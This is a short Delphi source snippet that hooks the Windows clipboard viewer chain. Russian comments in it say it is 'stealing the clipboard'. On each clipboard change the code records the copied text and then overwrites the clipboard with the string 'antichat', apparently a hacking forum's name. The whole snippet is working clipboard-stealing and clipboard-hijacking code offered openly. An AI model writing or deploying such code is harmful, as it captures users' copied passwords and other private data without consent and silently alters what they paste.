uses ClipBrd; type private procedure WMCHANGECBCHAIN(var Msg: TWMChangeCBChain); message WM_CHANGECBCHAIN; procedure WMDRAWCLIPBOARD(var Msg: TMessage); message WM_DRAWCLIPBOARD; var Form1: TForm1; ClipbrdNext: HWND; implementation {$R *.dfm} procedure TForm1.WMCHANGECBCHAIN(var Msg: TWMChangeCBChain); begin if Msg.Remove = ClipbrdNext then ClipbrdNext := Msg.Next; SendMessage(ClipbrdNext, Msg.Msg, Msg.Remove, Msg.Next); end; procedure TForm1.WMDRAWCLIPBOARD(var Msg: TMessage); begin //воруем буфер Memo1.Lines.Add(Clipboard.AsText+#13#10'----------'); //заносим в буфер произвольный текст Clipboard.SetTextBuf('antichat'); SendMessage(ClipbrdNext, Msg.Msg, Msg.WParam, Msg.LParam); end; procedure TForm1.FormCreate(Sender: TObject); begin ClipbrdNext := SetClipboardViewer(Handle); end;